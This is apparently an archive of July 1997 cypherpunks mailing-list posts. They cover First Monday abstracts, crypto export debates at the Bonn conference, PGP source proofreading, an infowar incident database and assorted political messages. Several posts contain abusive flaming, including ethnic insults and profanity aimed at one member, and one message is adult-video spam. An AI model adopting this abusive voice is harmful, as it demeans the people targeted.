The main concern of this paper is with pricing of
goods that are likely to be consumed in large quantities by individuals.
For example, will software continue to be sold at a fixed price for
each  unit, or will it be paid for on the basis of usage? There is
substantial evidence both from observing marketplace evolution and from
surveys that customers overwhelmingly prefer subscription pricing. It
turns out that even if we ignore this factor, per-use pricing is not a
clear winner, and therefore when the preference effect is taken into
account, subscription pricing is likely to dominate.

We model competitive pricing between two companies that supply
essentially equivalent services (such as movies or  word processing
software). One company charges a fixed fee per unit,  while the other
charges on a per-use basis. Each is interested in  maximizing its
revenue. We consider instances of the models that have  stable
competitive equilibria between suppliers along with  situations that are
unstable and, in the absence of collusion, lead to ruinous price wars.

----------------------------

http://www.firstmonday.dk/issues/issue2_7/drelichman/
Efficient Pricing in Data Transmission Networks: The
Argentine  experience
by Mauricio Drelichman

This paper develops a model to reflect the Argentine  market for
end-user  Internet access and draws conclusions on certain  aspects of
economic  efficiency. After the Introduction, the second  section,
entitled A  Simple Model, provides a descriptive analysis of the  market
and its  related industry, deriving a stylized technology and
setting up a basic  model. The third part of the paper, An Application
to  the Argentine  Market, applies the model to Argentina, while the
fourth section,  Lessons from a Linear Demand Case, examines the
results of the model  under certain conditions. The model and the
linear  demand case are fully  developed in the Appendix.

-------------------------

http://www.firstmonday.dk/issues/issue2_7/goldhaber/
What's the Right Economics for Cyberspace?
by Michael H. Goldhaber
Which economic theory best describes what goes on on  the Internet? If
you believe as I do that the explosive growth of the  net and its
relatives will likely continue until they become the  dominant arenas
for
human effort and involvement, this is no idle  question. Theories are
guides to action: sticking to the wrong one can lead  to ruin; adopting
the right one opens the path to success.

-------------------------

http://www.firstmonday.dk/issues/issue2_7/berentsen/
Digital Money, Liquidity, and Monetary Policy
by Aleksander Berentsen
The term digital money refers to various proposed  electronic payment
mechanisms designed for use by consumers to make retail payments.
Digital money products have the potential to replace central bank
currency, thereby affecting the money supply. This paper studies the
effect of replacing central bank currency on the  narrowly defined stock
of money under various assumptions regarding  regulatory policies and
monetary operations of central banks and the reaction
of the banking  system.

----------------------

http://www.firstmonday.dk/issues/issue2_7/almeida/
WebMonitor: a Tool for Measuring World-Wide Web Server
Performance
by Jussara M. Almeida, Virgilio Almeida, and David J. Yates
Server performance has become a crucial issue for  improving the
overall  performance of the World-Wide Web. This paper  describes
WebMonitor, a  tool for evaluating and understanding server
performance, and presents  new results for realistic workloads.

WebMonitor measures activity and resource consumption,  both within the
kernel and in HTTP processes running in user space.  WebMonitor is
implemented using an efficient combination of sampling  and
event-driven  techniques that exhibit low overhead.

Our initial  implementation is for  the Apache World-Wide Web server
running on the Linux  operating system.  We demonstrate the utility of
WebMonitor by measuring  and understanding  the performance of a
Pentium-based PC acting as a  dedicated WWW server.  Our workloads use
file size distributions with a heavy  tail. This  captures the fact that
Web servers must concurrently  handle some  requests for large audio and
video files, and a large  number of requests
for small documents, containing text or images.

Our results show that in a Web server saturated by client requests, up
to 90% of the time spent handling HTTP requests is spent in the  kernel.
These results emphasize the important role of  operating system
implementation in determining Web server performance.
It also suggests  the need for new operating system implementations
that  are designed to  perform well when running on Web servers.

-------------------

http://www.firstmonday.dk/issues/issue2_7/hibbitts/
E-Journals, Archives and Knowledge Networks: A
Commentary on Archie  Zariski's Defense of Electronic Law Journals
by Bernard Hibbitts
In his First Monday article "Never Ending, Still  Beginning: A Defense
of  Electronic Law Journals from the Perspective of the  E-Law
Experience",  Professor Archie Zariski asserted that, despite recent
musings to the contrary, electronic legal periodicals have a bright
future in the age of the Internet. This article challenges that
contention, arguing that  in law as in other disciplines, the reach,
dynamism
and interactivity of  the Internet offer opportunities for the
development  of new scholarly  publishing paradigms - in particular,
archives and  "knowledge networks"  - which have the potential to enrich
and envigorate  legal learning more  than even the most progressive
electronic legal  journals.

--- end forwarded text



-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From promoweb at ameritech.net  Wed Jul  9 08:50:45 1997
From: promoweb at ameritech.net (Ameritech.net subscriber email information)
Date: Wed, 9 Jul 1997 08:50:45 -0700 (PDT)
Subject: Adults ONLY
Message-ID: <18725478612534@hottotal.com>


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The hottest collection on the web!!!

CLICK HERE!!!

Discount Adult XXX Videos!!!  You'll have to see these prices to believe them!!!

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From ravage at ssz.com  Tue Jul  8 18:05:36 1997
From: ravage at ssz.com (Jim Choate)
Date: Wed, 9 Jul 1997 09:05:36 +0800
Subject: French satellite attack...
Message-ID: <199707090041.TAA05039@einstein.ssz.com>



Hi,

Several of you asked for a reference to the French satellite attack. I have
been unable to locate any of my books because of moving related to the
business expansion we are going through at the moment. However, if one of you
out there has a copy of "When the phones stopped" or whatever the name was
please be kind enough to chech the index, as there is a reference to this
incident in that book (it's the only one I can clearly remember and a cpunk
might have a copy of).

I hope to have all the reference works unboxed and shelved within the next
couple of weeks. I have added this item to my To-Do list and will pursue it
then provided an answer is not forthcoming.

Sorry for the delay.

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From mix at magusnet.com  Tue Jul  8 19:54:50 1997
From: mix at magusnet.com (Magus Mixmaster Remailer)
Date: Wed, 9 Jul 1997 10:54:50 +0800
Subject: German Army Train Neo-Nazis
Message-ID: <199707090221.TAA06001@mail.magusnet.com>




Well, appears that while the German government is railing against neo-Nazis
on the Net, the German army is busy training the next generation of
jack-booted thugs:

"Pictures That Shame The German Army"
(London Independent, 7/7/97, p.9)

Bonn -- A German newspaper yesterday published pictures from an amateur
videotape of soldiers staging mock executions and rapes.

A youthful recruit in a Bundeswehr uniform is shown holding a pistol in
the mouth of another recruit in an image published on the front page of
Bild am Sonntag.

Another photograph shows a soldier pretending to rape another recruit
acting as a woman civilian, who is later shown being marched to
"execution" by troops. Other pictures show enactments of "civilians"
being tortured and hanging from trees, images which revived memories of
atrocities by Hitler's armies.

"There will be no toleration whatsoever of such perversion in the
Bundeswehr," the Defence Minister, Volker Ruhe, said in an interview
with ZDf television. "I will do everything to see that those involved
are disciplined and prosecuted. We will ... take action against all
those involved, even if they are no longer in the army."

The army said eight recruits on the film, made at Hammelburg training
grounds, near Wurzburg, in April 1996, were no longer in the army. The
Bundeswehr investigation also focussed on officers who failed to report
the incident which took place during a break in training for soldiers
preparing for a mission in former Yugoslavia.

Lieutenant-General Helmut Willmann, the army's officer, said acts by
"a handful of mentally disturbed individuals" could not besmirch the
force's good name. "I am horrified by what happened at the Hammelburg
training ground," he said in a statement release by the defence
ministry.

The Greens criticized Gen Willmann for trying to write off the incident
as an abberation, as officers knew of the tape for more than a year but
said nothing about it. Jurgin Trittin, chairman of the Greens, said the
incident was the latest of a series of unsettling incidents. There had
been 53 reported incidents of right-wing extremism in the army in 1995.

Wolfgang Schraut, commander of Jaeger Battalion 571, where the incident
took place, said the recruits could no longer be punished by the army
because they had left. "We will not be able to get our hands on them
any more," the officer said. "They were released from the army in an
entirely normal fashion after completing their military service."

He said that he did not know of the existence of the videotape until
Friday and had learned that it was shown "on occasion in small circles
amongst the comrades." Some 3,000 Germans are in the Nato-led
Stabilization Force (SFOR) in Bosnia. Around 4,000 Germans took part
in SFOR's predecessor, the peace Implementation Force but were
stationed in nearby Croatia.








From mixmaster at remail.obscura.com  Tue Jul  8 19:59:55 1997
From: mixmaster at remail.obscura.com (Mix)
Date: Wed, 9 Jul 1997 10:59:55 +0800
Subject: [MILCOM] NSA: struggling with diversity ...
Message-ID: <199707090210.TAA06427@sirius.infonex.com>



>The National Security Agency, whose size, secrecy and mission were spawned by
>the Cold War, is in the midst of personnel changes that current and former
>employees warn are a threat to national security.
>
>Former employees call senior leadership the "Irish Mafia" and the Office of
>Discrimination Complaints and Counseling "a party organization for blacks."

A heartwarming report.

The NSA represents the worst of America: its paranoia, its ruthlessness, its end-justifies-
the-means amorality.  The NSA's personnel policies reveal its attitudes clearly
(http://theory.stanford.edu/people/donald/NSA.doc.html).

It is ironic indeed that the NSA is being weakened, not by the foreign enemies it
sees behind every curtain, but by the EEOC, as its immoral and callous mistreatment
of employees, its jealous defense of white male privilege, are all finally revealed to be
utterly inconsistent with modern principles.

There is no place any longer in the world for an agency like the NSA.  It is an enemy to
freedom and an enemy to the free citizenry of its own country.

We need a new agency, one to defend us against infowar, to help industrial competitiveness,
to assist Americans in retaining their freedoms rather than attempting to strip them
away for its own evil purposes.  Let us all hope that the changing of the guard at the NSA
will lead to a rebirth and a renewal as an agency looking forward, rather than one concerned
only with guarding its own rear.

Anon






From dlv at bwalk.dm.com  Tue Jul  8 21:57:06 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 9 Jul 1997 12:57:06 +0800
Subject: A really  meaningfull upgrade
In-Reply-To: <3.0.16.19970708110802.3bef3438@pop.netaddress.com>
Message-ID: 



Casey Iverson  writes:

> At 01:15 PM 7/7/97 EDT, THE RUSSIAN  SCUM BAG, ASS HOLE VULIS  wrote:
>
> >I've replaced OS/2 on it by Windows 95.  I'm going to add some more hardware
> >I think it's sort of a change for the better.
>
> The only meaningfull upgrade would be a total replacement of his fucked up,
> disease ridden perverted brain.
>
> C.I.

Not that I advocate such censorship, but usa.net is very fond of pulling the
plugs on its free accounts whenever there are complaints about contents. :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From dlv at bwalk.dm.com  Tue Jul  8 22:13:09 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 9 Jul 1997 13:13:09 +0800
Subject: Is the Vulisbot triggered by my posts?
In-Reply-To: 
Message-ID: 



Rabid Wombat  writes:

> On Tue, 8 Jul 1997, Dr.Dimitri Vulis KOTM wrote:
>
> > "William H. Geiger III"  writes:
> >
> > > -----BEGIN PGP SIGNED MESSAGE-----
> > >
> > > In <24eH0D4w165w at bwalk.dm.com>, on 07/07/97
> > >    at 01:15 PM, dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) said:
> > >
> > > >I've replaced OS/2 on it by Windows 95.
> > >
> > > Sorry to hear of your downgrade. :(
> >
> > Downgrade it is.  I was planning to migrate this one to NT, but NT won't
> > install without some hardware changes, so I settled for W95 for now.
> >
> > I still have another box running OS/2.
>
> Couldn't ya get the NSA to spring for a copy of BSD?  ;)

I don't think I could even get a dockmaster account.

> Even a low-budget operation should be able to afford a free OS!

I already have a Linux box. I figure two Intel boxes running Unix clones
would be redundant. :-) I might get a donation of a Sparc 20, though.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From dlv at bwalk.dm.com  Tue Jul  8 22:17:20 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 9 Jul 1997 13:17:20 +0800
Subject: Is the Vulisbot triggered by my posts?
In-Reply-To: 
Message-ID: 



Paul Bradley  writes:

> > I've replaced OS/2 on it by Windows 95.
>
> And to think they gave you a Ph.D ;-)....

Well, it's in math, not comp.sci. :-)

> > I think it's sort of a change for the better.  (I still have W95, Linux,
> > and OS/2 on other boxes.)
>
> You think moving from OS/2 to Win95 is a change for the better? Must be
> good shit, Did you bring enough for everyone?

We had a greateful dead concern 1 block from us last week - weed was just
lying in the street afterwards.

> But, to be quite honest (and people who know me will know just how much I
> hate to give any form of praise to Micro$oft), Win95 isn`t really that
> bad just for web browsing and mail, but I use linux anyway because I like
> procmail and it is convenient to have the OS running when I want it
> instead of having to reboot.

My plan was to move this box from OS/2 to NT, but NT wouldn't install,
so I'm keeping W95 on it until I get around modernizing the hardware.

I think the best policy is to have "1 of each".

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From Theodor.SCHLICKMANN at bxl.dg13.cec.be  Wed Jul  9 00:20:50 1997
From: Theodor.SCHLICKMANN at bxl.dg13.cec.be (Theodor.SCHLICKMANN at bxl.dg13.cec.be)
Date: Wed, 9 Jul 1997 15:20:50 +0800
Subject: Copy of: Bonn Conference - press release and links to final        conference documents on the WWW
Message-ID: 

An embedded message was scrubbed...
From: unknown sender
Subject: no subject
Date: no date
Size: 36805
URL: 

From Theodor.SCHLICKMANN at bxl.dg13.cec.be  Wed Jul  9 00:28:38 1997
From: Theodor.SCHLICKMANN at bxl.dg13.cec.be (Theodor.SCHLICKMANN at bxl.dg13.cec.be)
Date: Wed, 9 Jul 1997 15:28:38 +0800
Subject: Self-certified keys
Message-ID: 




You may find some articles related to the subject on

http://www.ens.fr/~petersen/publications.html

In these papers several extensions of self-certified keys, which 
make them more competitive compared with certificate-based keys 
are presented. 

The main features of self-certified keys lie in their easy
availability and accessibility. Other parameters than 
system parameters are not required to be authentic. 
Therefore large databases with certified public keys (TTPs) 
are not needed any more. However, small lists with the 
authentic public keys of the certification authorities 
are still needed. 

The properties of self-certified keys are:

-- Determination of a public key without an authentic 
   public directory (TTP).

-- Non-repudiation of public keys.

-- Efficient verification of a single certificate.

-- Efficiency in verification of hierarchical certificates
   vs. batch signatures

-- Importance of key propagation.

-- High security of self-certified keys.

Theodor Schlickmann






From Theodor.SCHLICKMANN at bxl.dg13.cec.be  Wed Jul  9 01:38:58 1997
From: Theodor.SCHLICKMANN at bxl.dg13.cec.be (Theodor.SCHLICKMANN at bxl.dg13.cec.be)
Date: Wed, 9 Jul 1997 16:38:58 +0800
Subject: Bonn Konferenz (2)
Message-ID: 

please find attached the Bonn Conference press release . Please note that the following are also available on http://www2.echo.lu/bonn/conference.html

        English, French and German versions of the Ministerial declaration (WinWord, RTF, PostScript) 
        Industrial declaration (WinWord, RTF, PostScript) 
        Users Declaration "Putting people's needs at the centre" (WinWord, RTF, PostScript) 


Theodor Schlickmann


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From nobody at secret.squirrel.owl.de  Wed Jul  9 02:13:23 1997
From: nobody at secret.squirrel.owl.de (Secret Squirrel)
Date: Wed, 9 Jul 1997 17:13:23 +0800
Subject: The Vulisbot
Message-ID: <19970709084723.1920.qmail@squirrel.owl.de>



 Re: Liberating the Bits
Dr.Dimitri Vulis KOTM blathers:

>Tim May  writes:
>> Let it be known I did not write any of the material above attributed to me.
>
>And we're supposed to believe you?

Yup. Like we believe you when you deny the Vilusbot. get over it, Kook.











From winsock at rigel.cyberpass.net  Wed Jul  9 05:59:49 1997
From: winsock at rigel.cyberpass.net (WinSock Remailer)
Date: Wed, 9 Jul 1997 20:59:49 +0800
Subject: Rose Bird vs Multi-Ethnic Diversity/IRS racial quotas
Message-ID: <199707091241.FAA07369@sirius.infonex.com>




Wonder what the lefty-racists will say about this...

Sunday, July 6, 1997 . Page B 8
San Francisco Examiner     

LETTERS TO THE EDITOR
 

Rose Elizabeth Bird's ignorant and poorly reasoned column ( "A brutal
education legacy," June 29) in which she identified the end of affirmative
action at the University of California with apartheid is an example of why
race-based policies have become so bankrupt among the citizens of California.


Apartheid classified individuals strictly according to race and ignored
their individual abilities. Blacks in South Africa could not go to white
universities regardless of their intellectual accomplishments. Affirmative
action classified individuals according to race and their individual
accomplishments. The end of affirmative action means that individuals will
be assessed in terms of their individual accomplishments. It is as far away
from apartheid as a policy could possibly be. 

Moreover, the end of affirmative action will not result in ethnically
homogeneous campuses at the University of California. The student population
in this state is astonishingly diverse. There are large numbers of men and
women whose forebears came from all over Europe, Africa, Latin America and
Asia. 

What the end of affirmative action will do is to change the mix. There will
be more individuals of Chinese, Japanese, Sri Lankan, Indian, Pakistani and
Russian descent, and fewer individuals of African and Latin American descent.

Bird might not like this new mix, but the astonishing ethnic diversity of
California universities will not end as a result of the termination of
affirmative action - only race-based discrimination will. 

Stephen D. Krasner 
Department of Political Science 
Stanford University 



Rose Bird's "disgraceful, social do-gooding, liberal attack'

Anent Rose Elizabeth Bird's disgraceful - albeit typically social do-gooding
liberal - attack upon Gov. Wilson and UC Regent Ward Connerly for taking us
from "affirmative action to California-style apartheid" : 

The opinions, political philosophy and judicial activism of former
California Chief Justice Bird were unequivocably repudiated by the voters of
California when she and two other like-thinking liberal justices were
deservedly removed from the court. Bird's words today - as were her
pronouncements from the bench of yesteryear - would be laughable were they
not so dangerous. 

Thomas M. Edwards 
San Francisco 

====================================================


US NEWS & WORLD REPORT

UPDATE  July, 1997

The IRS loses a round

SOON AFTER PRESIDENT CLINTON announced his "mend it, don't end it" policy on
affirmative action, U.S. News reported ("Between the Idea and the Reality,"
July 31, 1995) on race-and-employment skirmishes within the federal
bureaucracy. In one prominent example, critics accused the Internal Revenue
Service of maintaining virtual quotas in its hiring practices. In the past
two years, the IRS has lost several cases involving charges of "reverse
discrimination" that were brought by white males. Two of the cases involved
accusations by IRS employees who charged that the agency had retaliated
against them for filing or supporting reverse-bias claims. Federal District
Court Judge Donald E. Walter in Shreveport, La., recently declared the IRS's
policy on racial and gender diversity unconstitutional, saying that it
amounted to a "quota, guarantee, or set-aside." The judge issued his ruling
in a suit brought by four white males that is set for trial next month. The
case may be settled, but the IRS will be under pressure to overhaul its
policy, which may be challenged in a class-action suit.--Ted Gest

Copyright U.S. News & World Report, Inc. 











From iverson at usa.net  Wed Jul  9 06:53:30 1997
From: iverson at usa.net (Casey Iverson)
Date: Wed, 9 Jul 1997 21:53:30 +0800
Subject: A really  meaningfull upgrade
Message-ID: <3.0.16.19691231190000.5257ba42@pop.netaddress.com>



At 07:18 PM 7/8/97 EDT, you wrote:
>
>Casey Iverson  writes:
>
>> At 01:15 PM 7/7/97 EDT, THE RUSSIAN  SCUM BAG, ASS HOLE VULIS  wrote:
>>
>> >I've replaced OS/2 on it by Windows 95.  I'm going to add some more
hardware
>> >I think it's sort of a change for the better.
>>
>> The only meaningfull upgrade would be a total replacement of his fucked up,
>> disease ridden perverted brain.
>>
>> C.I.
>
>Not that I advocate such censorship, but usa.net is very fond of pulling the
>plugs on its free accounts whenever there are complaints about contents. :-)
>

Who do we talk to about pulling the plug on the Russian Scumbag KGB lovers
TC May insult bot???






From dweightman at Radix.Net  Wed Jul  9 06:54:00 1997
From: dweightman at Radix.Net (Donald Weightman)
Date: Wed, 9 Jul 1997 21:54:00 +0800
Subject: More on crypto from Bonn
Message-ID: <3.0.16.19970709093445.23d7be9e@pop.radix.net>



Another story in today's FINANCIAL TIMES

        http://www.FT.com

describes a "clash" between USCommerce Sec'y Daley and German economic
minister Rexrodt on strong crypto. Because the speakers' choices of words
are interesting, I quote from the FT article by Ralph Atkins:

                        On coding technology, however, Mr Daley insisted,
"there are certain
                   legitimate areas where governments have to be involved".
Encryption
                   should be used to protect credit card numbers or
detailed contracts from
                   being read. But, he went on: "We must also make sure
national security is
                   safeguarded by applying those rules sensibly, so that
potential terrorists or
                   other sophisticated criminals cannot hide their work."

                   Mr Rexrodt hinted the European ministers regarded US
policy on
                   exporting encryption technology as discriminatory.

                   He backed "strong" encryption procedures, which he said
were "offering
                   users the only protection that they have, the only
certainty, that their data is
                   not going to be divulged or misused on open networks".

                   Mr Rexrodt was backed by Mr Ron Sommer, chairman of
Deutsche
                   Telekom, Europe's largest telecommunications group, who
said: "Anyone
                   who uses the point of public security as an argument in
this [encryption]
                   issue has not realised or acknowledged that any such
legal requirements
                   stand in the way of the further spread of electronic
commerce." 

Questions for the reader:

        What's a "potential" terrorist? (Is the occasional apparent c'punx
paranoia justified?)
        
        How is the US export policy discriminatory?

        Why is DT coming out on this issue? Who are their strategic
partners for ecommerce among US telecomms? (I'll have to ask around about
that ...) 


cheers



.........................................
Donald Weightman
dweightman at radix.net






From dlv at bwalk.dm.com  Wed Jul  9 08:44:41 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 9 Jul 1997 23:44:41 +0800
Subject: The Vulisbot
In-Reply-To: <19970709084723.1920.qmail@squirrel.owl.de>
Message-ID: 



Secret Squirrel  writes:

>  Re: Liberating the Bits
> Dr.Dimitri Vulis KOTM blathers:
>
> >Tim May  writes:
> >> Let it be known I did not write any of the material above attributed to me
> >
> >And we're supposed to believe you?
>
> Yup. Like we believe you when you deny the Vilusbot. get over it, Kook.

In what way do I deny the Vulisbot?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From shamrock at netcom.com  Wed Jul  9 08:45:55 1997
From: shamrock at netcom.com (Lucky Green)
Date: Wed, 9 Jul 1997 23:45:55 +0800
Subject: More PGP volunteers needed
Message-ID: <3.0.2.32.19970709083804.0072d7d4@netcom10.netcom.com>



Folks,

The proofreading of the legally exported PGP source is going pretty slow.
Platform independent source is only 68% done, Windows and Macintosh 6 and
2% respectively. http://www.ifi.uio.no/pgp/

It would speed things up if more non-US citizens living outside the US
willing to proofread source were to contact Stale Schumacher at
 to volunteer some time. You can wait for the source
to show up on your favorite ftp site, or you can make it happen. Your choice.

You would need a basic C compiler and perl to join the "Free the Source"
effort. A scanner is *not* needed.

--Lucky, who by law can not participate in the proofreading.
--Lucky Green 
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/






From geeman at best.com  Wed Jul  9 09:12:04 1997
From: geeman at best.com (geeman at best.com)
Date: Thu, 10 Jul 1997 00:12:04 +0800
Subject: No Subject
Message-ID: <3.0.32.19691231160000.006c4898@best.com>



http://www.sacog.org/web/text/datactr/facts/octff.htm:

Facts and Figures

Migration for July 1995 to June 1996
October 1996

The Department of Motor Vehicles publishes an annual report of migration
based on Driver License and California ID card
holders change of address. Data is presented for individuals 18 and over.
The data collected is through voluntary cooperation
between the states. The California DMV, based on historical data, believes
that data from Colorado, Mississippi, New Mexico,
and North Carolina may be under reported. 






From Kevin.L.Prigge-2 at tc.umn.edu  Wed Jul  9 09:22:02 1997
From: Kevin.L.Prigge-2 at tc.umn.edu (Kevin L Prigge)
Date: Thu, 10 Jul 1997 00:22:02 +0800
Subject: Jim Bell reference
Message-ID: <33c3b8125eb0002@earth.tc.umn.edu>



Dorothy Denning taught a class (COSC 511) "Information Warfare"
Spring 97. Apparently as an assignment, several students put 
together an infowar incident database at:

http://www.georgetown.edu/users/samplem/iw/

Jim Bell's case is mentioned under:

http://www.georgetown.edu/users/samplem/iw/html/iw_database_92.html

-- 
Kevin L. Prigge                     | "The only thing that saves us from
Systems Software Programmer         | the bureaucracy is it's
Enterprise Internet Services        | inefficiency." - Eugene McCarthy
University of Minnesota             |






From dlv at bwalk.dm.com  Wed Jul  9 10:46:50 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 10 Jul 1997 01:46:50 +0800
Subject: A really  meaningfull upgrade
In-Reply-To: <3.0.16.19691231190000.5257ba42@pop.netaddress.com>
Message-ID: <893k0D1w165w@bwalk.dm.com>



Casey Iverson  writes:

> At 07:18 PM 7/8/97 EDT, you wrote:
> >
> >Casey Iverson  writes:
> >
> >> At 01:15 PM 7/7/97 EDT, THE RUSSIAN  SCUM BAG, ASS HOLE VULIS  wrote:
> >>
> >> >I've replaced OS/2 on it by Windows 95.  I'm going to add some more
> hardware
> >> >I think it's sort of a change for the better.
> >>
> >> The only meaningfull upgrade would be a total replacement of his fucked up
> >> disease ridden perverted brain.
> >>
> >> C.I.
> >
> >Not that I advocate such censorship, but usa.net is very fond of pulling the
> >plugs on its free accounts whenever there are complaints about contents. :-)
> >
> 
> Who do we talk to about pulling the plug on the Russian Scumbag KGB lovers
> TC May insult bot???


Have you tried complaining to the European Envelope manufacturers
association in Switzerland???

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From ericm at lne.com  Wed Jul  9 11:19:10 1997
From: ericm at lne.com (Eric Murray)
Date: Thu, 10 Jul 1997 02:19:10 +0800
Subject: Jim Bell reference
In-Reply-To: <33c3b8125eb0002@earth.tc.umn.edu>
Message-ID: <199707091809.LAA02522@slack.lne.com>



Kevin L Prigge writes:
> 
> Dorothy Denning taught a class (COSC 511) "Information Warfare"
> Spring 97. Apparently as an assignment, several students put 
> together an infowar incident database at:
> 
> http://www.georgetown.edu/users/samplem/iw/
> 
> Jim Bell's case is mentioned under:
> 
> http://www.georgetown.edu/users/samplem/iw/html/iw_database_92.html


Wow.  This is the most blatant propaganda I've seen in a long time.
It's full of so much inaccurate info that it can't be an accident.



Their blurb on Bell says:

"In his "Assassination Politics," Bell suggests that IRS
agents are not protected against violent acts,
because they have stolen taxpayers' money. He also
initiates a betting pool as to what government
employees and officeholders would be assassinated."


If I remember correctly, Bell never 'initiates'[sic] anything, he
just talked about it.

They cites a Netly News article by Declan McCullagh
(http://cgi.pathfinder.com/netly/editorial/0,1012,800,00.html)

Declan's article doesn't say, or even imply, that Bell actually
set up his AP betting pool.  The "database" authors apparently wanted
to make a point by making his crime seem to be real, and were willing
to stretch the truth to do so.

This fits in with the rest of the "database".  Take a look
at the 'terrorisim' category.  Most of the 'terrorists' crimes
(or more correctly, arrests- this database seems to assume that
being arrested or charged with a crime makes one guilty) are
horrible terrorist crimes like sending hate email, or suggesting that a state
senator who vociferously supports mountain lion hunting be
"hunted down and skinned and mounted".  In that one the 
California state senator somehow becomes a US senator...
(http://www.georgetown.edu/users/samplem/iw/html/iw_database_90.html)

The "database" is filled with inaccurately-labeled "data".  I'd
be willing to bet that it will be used to support the "Info war"
military-industrial-complex money grab:  "Look, a study at
Gorgetown shows that we've had three incidents of Internet terrorisom
in 1997 alone, one against a US senator!"


Feh.  "Research" like this makes me puke.


BTW, you can add you own "IW incidents" via a form at
http://www.georgetown.edu/users/samplem/iw/html/feedback.html



-- 
Eric Murray  ericm at lne.com  Security and cryptography applications consulting.
PGP keyid:E03F65E5 fingerprint:50 B0 A2 4C 7D 86 FC 03  92 E8 AC E6 7E 27 29 AF






From chk at utcc.utoronto.ca  Wed Jul  9 11:47:01 1997
From: chk at utcc.utoronto.ca (C. Harald Koch)
Date: Thu, 10 Jul 1997 02:47:01 +0800
Subject: More on crypto from Bonn
In-Reply-To: <3.0.16.19970709093445.23d7be9e@pop.radix.net>
Message-ID: <97Jul9.143005edt.11649@janus.tor.securecomputing.com>



In message <3.0.16.19970709093445.23d7be9e at pop.radix.net>, Donald Weightman writes:
> 
>         What's a "potential" terrorist? (Is the occasional apparent c'punx
> paranoia justified?)

I suspect "potential terrorist" is like "alleged criminal"; it's a CYA
statement.

I also think it's particularly amusing that an American is lecturing a German
about terrorism. Who has more experience with the subject, anyway?

Sheesh.

-- 
Harald Koch 






From whgiii at amaranth.com  Wed Jul  9 11:56:13 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Thu, 10 Jul 1997 02:56:13 +0800
Subject: More on crypto from Bonn
In-Reply-To: <97Jul9.143005edt.11649@janus.tor.securecomputing.com>
Message-ID: <199707091850.NAA02300@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In <97Jul9.143005edt.11649 at janus.tor.securecomputing.com>, on 07/09/97 
   at 02:35 PM, "C. Harald Koch"  said:

>In message <3.0.16.19970709093445.23d7be9e at pop.radix.net>, Donald
>Weightman writes: > 
>>         What's a "potential" terrorist? (Is the occasional apparent c'punx
>> paranoia justified?)

>I suspect "potential terrorist" is like "alleged criminal"; it's a CYA
>statement.

>I also think it's particularly amusing that an American is lecturing a
>German about terrorism. Who has more experience with the subject, anyway?

With dealing with terrorist or as acting like terrorist??

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM8PdwY9Co1n+aLhhAQHHRwQAs7nDTaok/4u513w7fmlHlJkSkWvZReto
MjXXuj8yaD/9TfR5WVYYVueGFmiztXklDAYDOeoJPhoTWvA9yaHL1vpoBzGWlW/d
LEQSN91ioyOd1HB1HEWXTyPf1oIss5KUosRKCRgucHkIIAD19ctBQ5oeEZ6dVPY0
COEgjuM/B+s=
=6Pvs
-----END PGP SIGNATURE-----






From nobody at REPLAY.COM  Wed Jul  9 12:34:28 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Thu, 10 Jul 1997 03:34:28 +0800
Subject: More on crypto from Bonn
Message-ID: <199707091919.VAA27741@basement.replay.com>



On Wed, 9 Jul 1997, Donald Weightman wrote:
> What's a "potential" terrorist? (Is the occasional apparent c'punx

One who plans with intent terrorist activities, yet whom has not carried
them out.

> How is the US export policy discriminatory?

Banks are routinely permitted strong encryption export, or did you sleep
through that part of the EAR.






From nobody at REPLAY.COM  Wed Jul  9 13:01:27 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Thu, 10 Jul 1997 04:01:27 +0800
Subject: [PGP-USERS] A start ... (hopefully) ...
Message-ID: <199707091938.VAA00718@basement.replay.com>



On Tue, 8 Jul 1997, Darryl Rowe wrote:

> The Allegro Group, Inc. has incorporated PGP technology in their
> Encryption Gateway for Groupwise. Now, the 8.5 million users of
>
> Now if they can keep this up and get their foot in the door with all
> the other email vendors.

Well you'll also see that PGP Inc. also has a deal with Qualcomm for
